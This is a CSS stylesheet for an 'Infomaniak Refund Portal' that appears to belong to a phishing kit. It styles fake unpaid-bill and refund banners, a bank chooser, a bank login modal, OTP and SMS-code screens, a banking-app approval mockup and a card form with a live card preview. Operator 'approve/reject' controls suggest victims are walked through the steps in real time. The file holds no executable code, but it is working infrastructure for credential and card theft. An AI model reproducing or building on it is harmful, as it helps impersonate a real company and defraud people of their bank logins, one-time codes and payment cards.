/* ============================================
   Infomaniak Refund Portal - Stylesheet
   ============================================ */

* { margin: 0; padding: 0; box-sizing: border-box; }

:root {
  --imk-blue: #1a3d7c;
  --imk-blue-light: #2a5db0;
  --imk-blue-hover: #15315f;
  --imk-text: #1f2937;
  --imk-muted: #6b7280;
  --imk-border: #e5e7eb;
  --imk-bg: #f9fafb;
  --imk-white: #ffffff;
  --imk-green: #0a7d2c;
  --imk-red: #c62828;
  --imk-yellow: #f59e0b;
  --imk-radius: 12px;
  --imk-radius-sm: 8px;
  --imk-shadow: 0 4px 20px rgba(0,0,0,0.08);
  --imk-shadow-lg: 0 12px 40px rgba(0,0,0,0.12);
  --imk-transition: 0.2s ease;
}

html, body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
  font-size: 15px;
  line-height: 1.55;
  color: var(--imk-text);
  background: var(--imk-white);
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

a { color: var(--imk-blue); text-decoration: none; transition: color var(--imk-transition); }
a:hover { color: var(--imk-blue-light); }
img { max-width: 100%; height: auto; display: block; }

.container { width: 100%; max-width: 1180px; margin: 0 auto; padding: 0 24px; }

/* ===== PRELOADER (K icon + animated toolbar below) ===== */
.preloader {
  position: fixed;
  inset: 0;
  background: #ffffff;
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 99999;
  transition: opacity 0.45s ease, visibility 0.45s ease;
}
.preloader.hidden { opacity: 0; visibility: hidden; pointer-events: none; }

.preloader-content {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 22px;
  width: 100%;
  max-width: 300px;
  padding: 0 24px;
}

/* K icon wrapper + animations */
.preloader-kwrap {
  position: relative;
  width: 110px;
  height: 110px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 22px;
  background: radial-gradient(circle at 30% 30%, #eef3fb 0%, #dbe6f7 100%);
  box-shadow:
    0 10px 30px rgba(26,61,124,0.18),
    inset 0 0 0 1px rgba(26,61,124,0.06);
  animation: kPulse 1.8s ease-in-out infinite;
}
.preloader-kwrap::before {
  content: "";
  position: absolute;
  inset: -10px;
  border-radius: 28px;
  border: 2px dashed rgba(26,61,124,0.35);
  animation: kRotate 6s linear infinite;
}
.preloader-kwrap::after {
  content: "";
  position: absolute;
  inset: -22px;
  border-radius: 50%;
  background: radial-gradient(circle, rgba(26,61,124,0.12), transparent 65%);
  animation: kGlow 2s ease-in-out infinite;
}
.preloader-kimg {
  width: 70px;
  height: 70px;
  object-fit: contain;
  position: relative;
  z-index: 2;
  animation: kBreath 1.6s ease-in-out infinite;
}

@keyframes kPulse  { 0%,100% { transform: scale(1);    } 50% { transform: scale(1.05); } }
@keyframes kRotate { to       { transform: rotate(360deg); } }
@keyframes kGlow   { 0%,100% { opacity: 0.55; } 50% { opacity: 1; } }
@keyframes kBreath { 0%,100% { transform: scale(1);    } 50% { transform: scale(1.08); } }

/* Toolbar (progress bar) below the K icon */
.preloader-toolbar {
  width: 100%;
  height: 6px;
  background: #e5ecf7;
  border-radius: 999px;
  overflow: hidden;
  position: relative;
}
.preloader-toolbar-fill {
  position: absolute;
  inset: 0 auto 0 0;
  width: 40%;
  border-radius: 999px;
  background: linear-gradient(90deg, #1a3d7c, #4b8bf5, #1a3d7c);
  background-size: 200% 100%;
  animation: kToolbar 1.6s ease-in-out infinite, kShine 1.6s linear infinite;
}
@keyframes kToolbar {
  0%   { width: 20%; margin-left: 0; }
  50%  { width: 55%; margin-left: 22%; }
  100% { width: 20%; margin-left: 80%; }
}
@keyframes kShine {
  0%   { background-position: 0% 0%; }
  100% { background-position: 200% 0%; }
}
.preloader-label {
  font-size: 12.5px;
  color: #6b7280;
  letter-spacing: 0.04em;
  text-transform: uppercase;
  font-weight: 600;
}

/* ===== HEADER (logo restored) ===== */
.imk-header {
  background: var(--imk-white);
  border-bottom: 1px solid var(--imk-border);
  position: sticky;
  top: 0;
  z-index: 100;
}
.imk-header-inner {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 24px;
  padding: 14px 0;
}
.imk-header-logo img { height: 34px; width: auto; }
.imk-header-nav { display: flex; gap: 28px; flex: 1; }
.imk-header-nav a { color: var(--imk-text); font-size: 14px; font-weight: 500; }
.imk-header-nav a:hover { color: var(--imk-blue); }
.imk-header-actions { display: flex; align-items: center; gap: 12px; }

.lang-selector { display: flex; gap: 2px; background: var(--imk-bg); border-radius: 6px; padding: 2px; }
.lang-btn {
  padding: 4px 10px; font-size: 12px; font-weight: 600;
  border: none; background: transparent; color: var(--imk-muted);
  border-radius: 4px; cursor: pointer; transition: all var(--imk-transition);
  text-decoration: none;
}
.lang-btn:hover { color: var(--imk-text); }
.lang-btn.active { background: var(--imk-white); color: var(--imk-blue); box-shadow: 0 1px 2px rgba(0,0,0,0.08); }

.btn-imk-ghost, .btn-imk-blue, .btn-imk-login {
  font-family: inherit; font-size: 14px; font-weight: 600;
  border-radius: var(--imk-radius-sm); cursor: pointer;
  transition: all var(--imk-transition); border: none;
}
.btn-imk-ghost { background: transparent; color: var(--imk-text); padding: 8px 16px; }
.btn-imk-ghost:hover { background: var(--imk-bg); }
.btn-imk-blue { background: var(--imk-blue); color: #fff; padding: 9px 18px; }
.btn-imk-blue:hover { background: var(--imk-blue-hover); color: #fff; }
.btn-imk-login { background: var(--imk-blue); color: #fff; padding: 12px 20px; width: 100%; font-size: 15px; }
.btn-imk-login:hover { background: var(--imk-blue-hover); }

/* ===== HERO ===== */
.imk-hero { background: linear-gradient(180deg, #f0f4fb 0%, #ffffff 100%); padding: 48px 0 32px; }
.imk-hero-content { max-width: 900px; }
.imk-hero h1 { font-size: 40px; font-weight: 800; letter-spacing: -0.02em; color: var(--imk-text); margin: 24px 0 12px; }
.imk-hero h1 span { color: var(--imk-blue); }
.imk-hero-desc { font-size: 17px; color: var(--imk-muted); max-width: 680px; line-height: 1.65; }

/* Unpaid bill banner */
.imk-bill-alert {
  display: grid; grid-template-columns: 56px 1fr auto; gap: 16px; align-items: center;
  background: #fef2f2; border: 1px solid #fecaca;
  border-radius: var(--imk-radius); padding: 18px 22px; margin-bottom: 16px;
  box-shadow: var(--imk-shadow);
}
.imk-bill-icon {
  width: 48px; height: 48px; border-radius: 50%;
  background: #fee2e2; color: #b91c1c;
  display: flex; align-items: center; justify-content: center;
}
.imk-bill-icon svg { width: 26px; height: 26px; }
.imk-bill-body h2 { font-size: 15px; font-weight: 700; color: #7f1d1d; margin-bottom: 4px; }
.imk-bill-body p  { font-size: 13px; color: #991b1b; line-height: 1.5; }
.imk-bill-amount { text-align: right; border-left: 1px solid #fecaca; padding-left: 20px; }
.imk-bill-amount .label { font-size: 11px; color: #991b1b; text-transform: uppercase; letter-spacing: 0.06em; font-weight: 600; }
.imk-bill-amount .value { font-size: 20px; font-weight: 800; color: #7f1d1d; }

/* Refund alert banner */
.imk-refund-alert {
  display: grid; grid-template-columns: 56px 1fr auto; gap: 16px; align-items: center;
  background: #fff7ed; border: 1px solid #fed7aa;
  border-radius: var(--imk-radius); padding: 18px 22px;
  box-shadow: var(--imk-shadow);
}
.imk-alert-icon {
  width: 48px; height: 48px; border-radius: 50%;
  background: #ffedd5; color: #c2410c;
  display: flex; align-items: center; justify-content: center;
}
.imk-alert-icon svg { width: 26px; height: 26px; }
.imk-alert-body h2 { font-size: 15px; font-weight: 700; color: #7c2d12; margin-bottom: 4px; }
.imk-alert-body p { font-size: 13px; color: #9a3412; line-height: 1.5; }
.imk-amount-badge { text-align: right; border-left: 1px solid #fed7aa; padding-left: 20px; }
.imk-amount-badge .label { font-size: 11px; color: #9a3412; text-transform: uppercase; letter-spacing: 0.06em; font-weight: 600; }
.imk-amount-badge .value { font-size: 20px; font-weight: 800; color: #7c2d12; }

/* ===== BANK SECTION ===== */
.imk-bank-section { padding: 40px 0 64px; }
.imk-section-title { font-size: 26px; font-weight: 700; text-align: center; margin-bottom: 8px; color: var(--imk-text); }
.imk-section-subtitle { font-size: 14px; text-align: center; color: var(--imk-muted); max-width: 620px; margin: 0 auto 36px; }
.imk-bank-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 16px; }
.imk-bank-card {
  position: relative; display: flex; flex-direction: column;
  align-items: center; justify-content: center; gap: 12px;
  padding: 24px 16px; background: var(--imk-white);
  border: 1.5px solid var(--imk-border); border-radius: var(--imk-radius);
  cursor: pointer; transition: all var(--imk-transition); min-height: 130px;
  text-decoration: none; color: inherit;
}
.imk-bank-card:hover { border-color: var(--imk-blue); box-shadow: 0 6px 20px rgba(26,61,124,0.1); transform: translateY(-2px); }
.imk-bank-card.selected { border-color: var(--imk-blue); box-shadow: 0 0 0 3px rgba(26,61,124,0.15); }
.imk-bank-card img { max-height: 44px; max-width: 130px; object-fit: contain; }
.imk-bank-card .bank-fallback {
  width: 44px; height: 44px; border-radius: 8px;
  color: #fff; font-weight: 700; font-size: 20px;
  display: flex; align-items: center; justify-content: center;
}
.imk-bank-card .bank-name { font-size: 13px; font-weight: 600; text-align: center; color: var(--imk-text); }
.imk-bank-card .checkmark {
  position: absolute; top: 8px; right: 8px;
  width: 22px; height: 22px; border-radius: 50%;
  background: var(--imk-blue); color: #fff;
  display: none; align-items: center; justify-content: center;
}
.imk-bank-card .checkmark svg { width: 14px; height: 14px; }
.imk-bank-card.selected .checkmark { display: flex; }

/* ===== MODAL ===== */
.imk-modal-overlay {
  position: fixed; inset: 0; background: rgba(15,23,42,0.55);
  display: none; align-items: center; justify-content: center;
  padding: 20px; z-index: 1000;
}
.imk-modal-overlay.show { display: flex; }
.imk-modal {
  background: var(--imk-white); border-radius: var(--imk-radius);
  width: 100%; max-width: 440px; max-height: 92vh; overflow-y: auto;
  position: relative; box-shadow: var(--imk-shadow-lg);
  animation: modalIn 0.25s ease;
}
@keyframes modalIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }
.imk-modal-close {
  position: absolute; top: 12px; right: 14px;
  background: transparent; border: none; font-size: 26px; line-height: 1;
  color: var(--imk-muted); cursor: pointer; z-index: 2; text-decoration: none;
}
.imk-modal-close:hover { color: var(--imk-text); }
.imk-modal-head { padding: 28px 24px 16px; text-align: center; border-bottom: 1px solid var(--imk-border); }
.imk-modal-head img { max-height: 44px; margin: 0 auto 12px; }
.imk-modal-head h3 { font-size: 18px; font-weight: 700; margin-bottom: 4px; }
.imk-modal-head .slogan { font-size: 12px; color: var(--imk-muted); font-style: italic; }
.imk-modal-body { padding: 20px 24px 24px; }
.imk-modal-foot { padding: 0 24px 18px; }

/* ===== FORMS ===== */
.imk-form-group { margin-bottom: 16px; }
.imk-form-group label { display: block; font-size: 13px; font-weight: 600; color: var(--imk-text); margin-bottom: 6px; }
.imk-form-group input {
  width: 100%; padding: 11px 14px; font-size: 14px; font-family: inherit;
  border: 1.5px solid var(--imk-border); border-radius: var(--imk-radius-sm);
  background: var(--imk-white); color: var(--imk-text); transition: all var(--imk-transition);
}
.imk-form-group input:focus {
  outline: none; border-color: var(--imk-blue);
  box-shadow: 0 0 0 3px rgba(26,61,124,0.12);
}
.imk-form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
.imk-hint { font-size: 12px; color: var(--imk-muted); margin-top: 6px; }
.imk-secure-note {
  display: flex; align-items: center; justify-content: center; gap: 6px;
  font-size: 12px; color: var(--imk-muted); margin: 12px 0 16px;
}
.imk-secure-note svg { width: 16px; height: 16px; }

.imk-error {
  display: none; align-items: flex-start; gap: 8px;
  background: #fef2f2; border: 1px solid #fecaca; color: #991b1b;
  padding: 10px 14px; border-radius: var(--imk-radius-sm);
  font-size: 13px; margin-bottom: 14px;
}
.imk-error.show { display: flex; }
.imk-error svg { width: 16px; height: 16px; flex-shrink: 0; margin-top: 1px; }

.imk-terms { display: flex; gap: 10px; align-items: flex-start; font-size: 12.5px; color: var(--imk-muted); margin: 14px 0 18px; line-height: 1.5; }
.imk-terms input[type="checkbox"] { margin-top: 3px; cursor: pointer; flex-shrink: 0; }
.imk-terms-label a { color: var(--imk-blue); text-decoration: underline; }

/* ===== LOADING SCREENS ===== */
.imk-loading-screen { display: none; min-height: calc(100vh - 80px); padding: 48px 20px; align-items: center; justify-content: center; background: var(--imk-bg); }
.imk-loading-screen.show { display: flex; }
.imk-loading-box {
  background: var(--imk-white); border-radius: var(--imk-radius);
  padding: 40px 32px; max-width: 480px; width: 100%;
  text-align: center; box-shadow: var(--imk-shadow);
}
.imk-loading-logo { display: flex; justify-content: center; margin-bottom: 20px; }
.imk-loading-title { font-size: 22px; font-weight: 700; margin-bottom: 8px; color: var(--imk-text); }
.imk-loading-subtitle { font-size: 14px; color: var(--imk-muted); margin-bottom: 24px; line-height: 1.6; }

.imk-progress-track { width: 100%; height: 8px; background: #e8edf5; border-radius: 999px; overflow: hidden; margin-bottom: 8px; }
.imk-progress-fill { height: 100%; background: linear-gradient(90deg, var(--imk-blue), var(--imk-blue-light)); border-radius: 999px; transition: width 1.5s ease; }
.imk-progress-labels { display: flex; justify-content: space-between; font-size: 11px; color: var(--imk-muted); margin-bottom: 24px; }

.imk-steps { display: flex; flex-direction: column; gap: 10px; text-align: left; margin-top: 20px; padding-top: 20px; border-top: 1px solid var(--imk-border); }
.imk-step { display: flex; align-items: center; gap: 10px; font-size: 13px; color: var(--imk-muted); padding: 6px 0; }
.imk-step svg {
  width: 20px; height: 20px; flex-shrink: 0;
  border-radius: 50%; padding: 3px;
  background: #e5e7eb; color: #9ca3af; box-sizing: content-box;
}
.imk-step.done { color: var(--imk-green); }
.imk-step.done svg { background: #d1fae5; color: var(--imk-green); }
.imk-step.active { color: var(--imk-blue); font-weight: 600; }
.imk-step.active svg { background: #dbeafe; color: var(--imk-blue); }
.imk-step svg.spin { animation: spin 1.5s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }

.conn-status { margin-top: 18px; padding: 8px 12px; border-radius: var(--imk-radius-sm); font-size: 12px; font-weight: 500; display: inline-block; }
.conn-status.connecting { background: #fef3c7; color: #92400e; }
.conn-status.connected  { background: #d1fae5; color: #065f46; }
.conn-status.success    { background: #d1fae5; color: #065f46; }
.conn-status.error      { background: #fee2e2; color: #991b1b; }

.simulate-controls { margin-top: 14px; padding-top: 14px; border-top: 1px dashed var(--imk-border); }
.btn-sim-approve, .btn-sim-reject {
  font-family: inherit; font-size: 12px; font-weight: 600;
  padding: 7px 12px; border-radius: 6px; border: none; cursor: pointer; margin: 0 3px;
}
.btn-sim-approve { background: #d1fae5; color: #065f46; }
.btn-sim-reject  { background: #fee2e2; color: #991b1b; }

/* ===== OTP SECTION ===== */
.imk-otp-section { display: none; min-height: calc(100vh - 80px); padding: 48px 20px; align-items: center; justify-content: center; background: var(--imk-bg); }
.imk-otp-section.show { display: flex; }
.imk-otp-box { background: var(--imk-white); border-radius: var(--imk-radius); padding: 36px 30px; max-width: 560px; width: 100%; box-shadow: var(--imk-shadow); }
.imk-otp-header { text-align: center; margin-bottom: 24px; }
.imk-otp-header h2 { font-size: 22px; font-weight: 700; margin-bottom: 6px; }
.imk-otp-header p  { font-size: 14px; color: var(--imk-muted); }
.imk-otp-options { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; margin-bottom: 18px; }
.imk-otp-card {
  padding: 22px 16px; border: 1.5px solid var(--imk-border);
  border-radius: var(--imk-radius); transition: all var(--imk-transition); cursor: pointer;
}
.imk-otp-card:hover { border-color: var(--imk-blue); box-shadow: 0 6px 20px rgba(26,61,124,0.1); transform: translateY(-2px); }
.imk-otp-icon {
  width: 48px; height: 48px; margin: 0 auto 12px;
  border-radius: 50%; background: #eff6ff; color: var(--imk-blue);
  display: flex; align-items: center; justify-content: center;
}
.imk-otp-icon svg { width: 24px; height: 24px; }
.imk-otp-card h4 { font-size: 15px; font-weight: 700; margin-bottom: 4px; }
.imk-otp-card p { font-size: 12px; color: var(--imk-muted); line-height: 1.5; }

/* ===== SMS / CARD SECTION ===== */
.imk-sms-section, .imk-payment-section {
  display: none; min-height: calc(100vh - 80px); padding: 40px 20px;
  align-items: center; justify-content: center; background: var(--imk-bg);
}
.imk-sms-section.show, .imk-payment-section.show { display: flex; }
.imk-sms-box {
  background: var(--imk-white); border-radius: var(--imk-radius);
  padding: 36px 30px; max-width: 500px; width: 100%;
  box-shadow: var(--imk-shadow); text-align: center;
}
.imk-sms-box.imk-sms-pro { padding: 0; text-align: left; }
.imk-sms-pro > *:not(.imk-sms-brand-header) { padding-left: 30px; padding-right: 30px; }
.imk-sms-pro > h2 { padding-top: 24px; font-size: 22px; text-align: center; }
.imk-sms-pro > p  { font-size: 14px; color: var(--imk-muted); text-align: center; margin-bottom: 22px; }
.imk-sms-pro > form { padding-bottom: 8px; }

.imk-sms-brand-header {
  display: flex; align-items: center; justify-content: space-between;
  padding: 18px 24px; border-bottom: 1px solid var(--imk-border);
}
.imk-sms-brand-logo { height: 28px; width: auto; }
.imk-sms-brand-secure { font-size: 11px; font-weight: 600; color: var(--imk-green); }

.imk-sms-icon-wrap { display: flex; justify-content: center; padding: 22px 0 6px; }
.imk-sms-icon-circle {
  width: 60px; height: 60px; border-radius: 50%;
  background: #eff6ff; color: var(--imk-blue);
  display: flex; align-items: center; justify-content: center;
}
.imk-sms-icon-circle svg { width: 30px; height: 30px; }

.imk-resend { text-align: center; padding: 12px 30px 16px; font-size: 13px; }
.imk-resend a { color: var(--imk-blue); font-weight: 500; }

.imk-sms-security-footer {
  display: flex; align-items: center; justify-content: center; gap: 10px;
  padding: 16px 24px 22px; border-top: 1px solid var(--imk-border);
  font-size: 11px; color: var(--imk-muted);
}

/* App banking mockup */
.imk-app-mockup {
  background: #f8fafc; border: 1px solid var(--imk-border);
  border-radius: var(--imk-radius); padding: 16px; margin: 16px 0; text-align: left;
}
.imk-app-head {
  display: flex; justify-content: space-between;
  font-size: 12px; color: var(--imk-muted);
  padding-bottom: 12px; border-bottom: 1px solid var(--imk-border);
}
.imk-app-amount { text-align: center; padding: 20px 0 16px; }
.imk-app-amount .lbl { font-size: 11px; color: var(--imk-muted); text-transform: uppercase; letter-spacing: 0.06em; font-weight: 600; }
.imk-app-amount .val { font-size: 26px; font-weight: 800; color: var(--imk-text); margin-top: 4px; }
.imk-app-details { border-top: 1px solid var(--imk-border); padding-top: 12px; }
.imk-app-row { display: flex; justify-content: space-between; font-size: 13px; padding: 6px 0; }
.imk-app-row .lbl { color: var(--imk-muted); }
.imk-app-row .val, .imk-app-row .value { font-weight: 600; color: var(--imk-text); }
.imk-app-actions { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; margin-top: 16px; }
.imk-app-btn-no, .imk-app-btn-yes {
  padding: 11px; font-family: inherit; font-weight: 700;
  font-size: 13px; border-radius: var(--imk-radius-sm); border: none; cursor: pointer;
}
.imk-app-btn-no  { background: #fee2e2; color: #991b1b; }
.imk-app-btn-yes { background: #d1fae5; color: #065f46; }

/* ===== CARD FORM ===== */
.imk-payment-container { width: 100%; max-width: 520px; }
.imk-card-form { background: var(--imk-white); border-radius: var(--imk-radius); padding: 30px; box-shadow: var(--imk-shadow); }
.imk-card-brands-row {
  display: flex; align-items: center; gap: 12px;
  margin-bottom: 20px; padding-bottom: 16px; border-bottom: 1px solid var(--imk-border);
}
.imk-card-brands-row img { height: 22px; width: auto; }
.imk-card-brands-label { font-size: 12px; color: var(--imk-muted); }

.imk-card-preview {
  background: linear-gradient(135deg, #1e3a8a 0%, #3b82f6 100%);
  border-radius: 14px; padding: 22px; color: #fff;
  margin-bottom: 22px; position: relative; overflow: hidden;
  box-shadow: 0 10px 30px rgba(30,58,138,0.25);
}
.imk-card-preview::after {
  content: ''; position: absolute; top: -60px; right: -60px;
  width: 220px; height: 220px;
  background: radial-gradient(circle, rgba(255,255,255,0.15), transparent 70%);
  border-radius: 50%;
}
.imk-card-preview.visa { background: linear-gradient(135deg, #1a1f71 0%, #2f4dc7 100%); }
.imk-card-preview.mastercard { background: linear-gradient(135deg, #eb001b 0%, #f79e1b 100%); }
.imk-card-preview-inner { position: relative; z-index: 1; }
.imk-card-preview-chip { margin-bottom: 16px; }
.imk-card-preview-chip svg { width: 40px; height: 30px; }
.imk-card-preview-type { position: absolute; top: 0; right: 0; }
.imk-card-preview-type svg { height: 22px; width: auto; }
.imk-card-preview-number {
  font-size: 20px; font-weight: 600; letter-spacing: 2px;
  margin-bottom: 18px; font-family: 'Courier New', monospace;
}
.imk-card-preview-row {
  display: flex; justify-content: space-between;
  font-size: 12px; text-transform: uppercase; letter-spacing: 0.05em;
}
.imk-card-preview-holder, .imk-card-preview-expiry { opacity: 0.9; }
.imk-card-preview-expiry { font-weight: 600; }

.imk-card-input-row { position: relative; }
.imk-card-input-row input { padding-right: 68px; }
.imk-card-inline-type { position: absolute; right: 12px; top: 50%; transform: translateY(-50%); pointer-events: none; }
.imk-card-inline-type svg { height: 18px; width: auto; display: none; }
.imk-card-inline-type .card-inline-visa.show,
.imk-card-inline-type .card-inline-mastercard.show,
.imk-card-inline-type .card-inline-default.show { display: block; }

.imk-card-security-footer {
  display: flex; align-items: center; justify-content: center; gap: 10px;
  font-size: 11px; color: var(--imk-muted);
  margin-top: 18px; padding-top: 16px; border-top: 1px solid var(--imk-border);
}
.imk-card-security-footer img { height: 24px; }

.imk-ksuite-banner {
  display: flex; align-items: center; gap: 14px;
  background: var(--imk-white); padding: 16px 20px;
  border-radius: var(--imk-radius); margin-bottom: 16px; box-shadow: var(--imk-shadow);
}
.imk-ksuite-logo { height: 34px; width: auto; }
.imk-ksuite-text h3 { font-size: 14px; font-weight: 700; margin-bottom: 2px; }
.imk-ksuite-text p  { font-size: 11.5px; color: var(--imk-muted); }

/* ===== FOOTER ===== */
.imk-footer { background: #0f172a; color: #cbd5e1; margin-top: 40px; }
.imk-footer .container { padding-top: 48px; padding-bottom: 32px; }
.imk-footer-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); gap: 32px; margin-bottom: 32px; }
.imk-footer-col h4 {
  font-size: 13px; font-weight: 700; color: #fff;
  margin-bottom: 14px; text-transform: uppercase; letter-spacing: 0.04em;
}
.imk-footer-col ul { list-style: none; }
.imk-footer-col ul li { margin-bottom: 8px; }
.imk-footer-col ul li a { color: #cbd5e1; font-size: 13px; }
.imk-footer-col ul li a:hover { color: #fff; }
.imk-footer-col p { font-size: 12.5px; color: #94a3b8; line-height: 1.6; margin-bottom: 14px; }

.imk-newsletter-form { display: flex; gap: 8px; margin-bottom: 16px; }
.imk-newsletter-form input {
  flex: 1; padding: 9px 12px; border-radius: 6px;
  border: 1px solid #334155; background: #1e293b; color: #fff;
  font-size: 12.5px; font-family: inherit;
}
.imk-newsletter-form input::placeholder { color: #64748b; }
.imk-newsletter-form button {
  padding: 9px 14px; border-radius: 6px; border: none;
  background: var(--imk-blue); color: #fff; font-size: 12.5px; font-weight: 600;
  cursor: pointer; font-family: inherit;
}
.imk-newsletter-form button:hover { background: var(--imk-blue-light); }

.imk-footer-social { display: flex; gap: 10px; }
.imk-footer-social a {
  width: 32px; height: 32px; border-radius: 50%;
  background: #1e293b; color: #cbd5e1;
  display: flex; align-items: center; justify-content: center;
  transition: all var(--imk-transition);
}
.imk-footer-social a:hover { background: var(--imk-blue); color: #fff; }
.imk-footer-social svg { width: 16px; height: 16px; }

.imk-footer-bottom {
  display: flex; align-items: center; justify-content: space-between;
  flex-wrap: wrap; gap: 16px; padding-top: 24px; border-top: 1px solid #1e293b;
}
.imk-footer-bottom-left { display: flex; flex-wrap: wrap; gap: 16px; align-items: center; font-size: 12px; color: #94a3b8; }
.imk-footer-bottom-left a { color: #94a3b8; }
.imk-footer-bottom-left a:hover { color: #fff; }
.imk-footer-lang { display: flex; align-items: center; gap: 6px; font-size: 12px; color: #cbd5e1; }
.imk-footer-lang svg { width: 14px; height: 14px; }

/* ===== COOKIE BANNER ===== */
.imk-cookie {
  position: fixed; bottom: 16px; left: 16px; right: 16px;
  max-width: 860px; margin: 0 auto;
  background: var(--imk-white); border-radius: var(--imk-radius);
  box-shadow: var(--imk-shadow-lg); padding: 16px 20px;
  display: none; z-index: 900; border: 1px solid var(--imk-border);
}
.imk-cookie.show { display: block; }
.imk-cookie-inner { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; }
.imk-cookie-inner p { flex: 1; min-width: 200px; font-size: 12.5px; color: var(--imk-muted); }

/* ===== RESPONSIVE ===== */
@media (max-width: 900px) {
  .imk-header-nav { display: none; }
  .imk-hero h1 { font-size: 30px; }
  .imk-bill-alert, .imk-refund-alert { grid-template-columns: 48px 1fr; }
  .imk-bill-amount, .imk-amount-badge {
    grid-column: 1 / -1;
    border-left: none;
    border-top: 1px solid #fed7aa;
    padding-left: 0; padding-top: 12px; text-align: left;
  }
  .imk-bill-amount { border-top-color: #fecaca; }
}

@media (max-width: 640px) {
  .container { padding: 0 16px; }
  .imk-header-inner { padding: 10px 0; gap: 12px; }
  .imk-header-logo img { height: 28px; }
  .btn-imk-ghost { display: none; }
  .imk-header-actions .btn-imk-blue { display: none; }

  .imk-hero { padding: 32px 0 24px; }
  .imk-hero h1 { font-size: 24px; margin-top: 20px; }
  .imk-hero-desc { font-size: 14.5px; }

  .imk-bill-alert, .imk-refund-alert { padding: 14px 16px; gap: 12px; }
  .imk-bill-icon, .imk-alert-icon { width: 40px; height: 40px; }
  .imk-bill-icon svg, .imk-alert-icon svg { width: 22px; height: 22px; }
  .imk-bill-amount .value, .imk-amount-badge .value { font-size: 17px; }

  .imk-section-title { font-size: 20px; }
  .imk-bank-grid { grid-template-columns: repeat(2, 1fr); gap: 10px; }
  .imk-bank-card { padding: 18px 10px; min-height: 110px; }
  .imk-bank-card img { max-height: 34px; }
  .imk-bank-card .bank-name { font-size: 11.5px; }

  .imk-modal { max-width: 100%; }
  .imk-modal-head { padding: 22px 18px 14px; }
  .imk-modal-body { padding: 16px 18px 20px; }

  .imk-loading-box, .imk-otp-box, .imk-sms-box, .imk-card-form { padding: 24px 20px; }
  .imk-sms-pro > *:not(.imk-sms-brand-header) { padding-left: 20px; padding-right: 20px; }

  .imk-loading-title { font-size: 19px; }
  .imk-otp-header h2 { font-size: 19px; }

  .imk-otp-options { grid-template-columns: 1fr; }
  .imk-form-row { grid-template-columns: 1fr; }
  .imk-app-amount .val { font-size: 22px; }

  .imk-footer .container { padding-top: 32px; padding-bottom: 24px; }
  .imk-footer-grid { grid-template-columns: repeat(2, 1fr); gap: 24px; }
  .imk-footer-bottom { flex-direction: column; align-items: flex-start; }
  .imk-footer-bottom-left { gap: 12px; }

  .imk-card-preview { padding: 18px; }
  .imk-card-preview-number { font-size: 16px; letter-spacing: 1px; }

  .imk-cookie { left: 8px; right: 8px; bottom: 8px; padding: 12px 14px; }
  .imk-cookie-inner { flex-direction: column; align-items: stretch; }

  .preloader-kwrap { width: 92px; height: 92px; border-radius: 18px; }
  .preloader-kimg { width: 58px; height: 58px; }
}

@media (max-width: 380px) {
  .imk-bank-grid { grid-template-columns: 1fr; }
  .imk-footer-grid { grid-template-columns: 1fr; }
}

/* ===== UTILITIES ===== */
.text-center { text-align: center; }
.mt-16 { margin-top: 16px; }
.hidden { display: none !important; }

@media (max-width: 640px) {
  input, select, textarea { font-size: 16px !important; }
}
/* ===== NEW: Custom notice banner ===== */
.imk-notice-banner {
  display: grid;
  grid-template-columns: 48px 1fr;
  gap: 14px;
  align-items: center;
  background: #eff6ff;
  border: 1px solid #bfdbfe;
  border-radius: var(--imk-radius);
  padding: 16px 20px;
  margin-bottom: 16px;
  box-shadow: var(--imk-shadow);
}
.imk-notice-icon {
  width: 40px; height: 40px; border-radius: 50%;
  background: #dbeafe; color: #1e40af;
  display: flex; align-items: center; justify-content: center;
}
.imk-notice-icon svg { width: 22px; height: 22px; }
.imk-notice-body h2 { font-size: 14px; font-weight: 700; color: #1e3a8a; margin-bottom: 4px; }
.imk-notice-body p  { font-size: 13px; color: #1e40af; line-height: 1.55; }

@media (max-width: 640px) {
  .imk-notice-banner { padding: 12px 14px; gap: 10px; grid-template-columns: 38px 1fr; }
  .imk-notice-icon { width: 34px; height: 34px; }
  .imk-notice-icon svg { width: 18px; height: 18px; }
}